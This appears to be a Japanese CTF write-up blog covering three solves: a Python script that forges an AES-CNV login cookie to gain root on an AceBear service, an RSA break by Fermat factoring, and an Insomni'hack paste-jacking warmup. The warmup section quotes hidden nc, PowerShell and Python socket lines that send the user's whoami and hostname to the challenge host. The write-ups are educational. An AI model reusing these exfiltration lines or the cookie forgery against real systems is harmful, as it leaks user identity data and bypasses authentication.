# ciphertext 2nd, 3rd, 4th block
for i in range(3):
    data = s.recv(1024)
    print data + '1'

    s.sendall('1\n')
    data = s.recv(1024)
    data += s.recv(1024)

    name2 = xor(xor(p[i+1], md5(c[i]).digest()), xor(p[0], HIDDEN))
    print data + name2
    s.sendall(name2 + '\n')
    data = s.recv(1024)
    username = 'a'
    print data + username
    s.sendall(username + '\n')

    data = s.recv(1024)
    print data

    cookie = b64decode(data[8:].strip())
    cipher_text = cookie[16:]

    c.append(cipher_text[:16])

# make cookie
data = s.recv(1024)
print data + '2'

cookie = iv
for i in range(4):
    cookie += c[i]

b64_cookie = b64encode(cookie)

s.sendall('2\n')
data = s.recv(1024)
data += s.recv(1024)
print data + b64_cookie

s.sendall(b64_cookie + '\n')
data = s.recv(1024)
print data
data = s.recv(1024)
print data

実行結果は以下の通り。

           :
********************Menu********************
* 1 - Register                             *
* 2 - Login                                *
********************************************
Your choice: 2
*******************************LOGIN******************************
Cookie: dB9Mm4R62KjZYYm3Ui4HuX2M/X3aDOaMYiURc62G0iNH1X1MYq3cT/KLGBii3waxANcmeINSqA86qHKfYpL2fagUrLmrhK2qCQmiDLHHxxc=
**************************LOGIN SUCCESS***************************

Welcome CNV service: xxxxxxxxxxxxxxxx
Username: root
Time register: Sat Jan 27 13:43:37 2018
***************************Root Servive***************************
This is flag: AceBear{AES_CNV_is_s3cure_but_CNV_S3rvic3_i5_not_s3cure}
AceBear{AES_CNV_is_s3cure_but_CNV_S3rvic3_i5_not_s3cure}

Break In CTF 2018 Writeup

この大会は2018/1/22 0:30(JST)~2018/1/23 0:30(JST)に開催されました。
今回もチームで参戦。結果は1300点で97チーム中9位でした。
自分で解けた問題をWriteupとして書いておきます。

Tayank and RSA (200)

公開鍵と暗号ファイルが与えられている。Fermat法でnを素因数分解し、復号する。

71877470807883123484848484849751061131101041101211007812075122115125

復号した数字は直接文字にならない。10進数で文字になるよう前から順にASCII文字に置き換えてみる。

GWJFPNS{000001KjqnhnydNxKzs}

5シフトさせると、フラグになりそう。最終的なコードは以下の通り。

from Crypto.PublicKey import RSA
import string

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

with open('Xa5kNbw_Twins.pub', 'r') as f:
    pub_data = f.read()

with open('4vfouvg_message.txt', 'r') as f:
    c = int(f.read().strip(), 10)

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e
p, q = fermat(n)

a = (p - 1) * (q - 1)

x = 0
while True:
    if (a * x + 1) % e == 0:
        d = (a * x + 1) / e
        break
    x = x + 1

m = pow(c, d, n)
m = str(m)
#print m

dec = ''
code = ''
for i in range(len(m)):
    code += m[i]
    if int(code) > 31 and int(code) < 127:
        dec += chr(int(code))
        code = ''
#print dec

flag = ''
for i in range(len(dec)):
    if dec[i] in string.uppercase:
        code = ord(dec[i]) - 5
        if code < ord('A'):
            code += 26
    elif dec[i] in string.lowercase:
        code = ord(dec[i]) - 5
        if code < ord('a'):
            code += 26
    else:
        code = ord(dec[i])
    flag += chr(code)

print flag
BREAKIN{000001FelicityIsFun}

Insomni'hack teaser 2018 Writeup

この大会は2018/1/20 19:00(JST)~2018/1/22 11:00(JST)に開催されました。
今回もチームで参戦。結果は545点で433チーム中17位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (warmup)

問題文をそのままコピペすると、違う文になっている。

echo "$(whoami)@$(hostname)"|nc welcome.teaser.insomnihack.ch 42351
say you have been pwned
powershell -noprofile -command "$c=New-Object -TypeName System.Net.Sockets.TcpClient;$c.Connect('welcome.teaser.insomnihack.ch', 42351);$w=New-Object System.IO.StreamWriter($c.GetStream());$w.WriteLine(\"$(whoami)\")|Out-Null;$w.Close();$c.Close();"
exec("""from socket import *\nimport platform, getpass\ns=socket(AF_INET, SOCK_STREAM)\ns.connect(("welcome.teaser.insomnihack.ch",42351))\ns.sendall("{0}@{1}[{2}]".format(getpass.getuser(),platform.node(),platform.system()).encode("utf-8"))\ns.close()""")
clear||cls
nc welcome.teaser.insomnihack.ch 42513

手入力でコマンド入力する。

$ nc welcome.teaser.insomnihack.ch 42315
Welcome to the Insomni'hack Teaser 2018!

INS{YOU SHALL NOT PASTE}
INS{YOU SHALL NOT PASTE}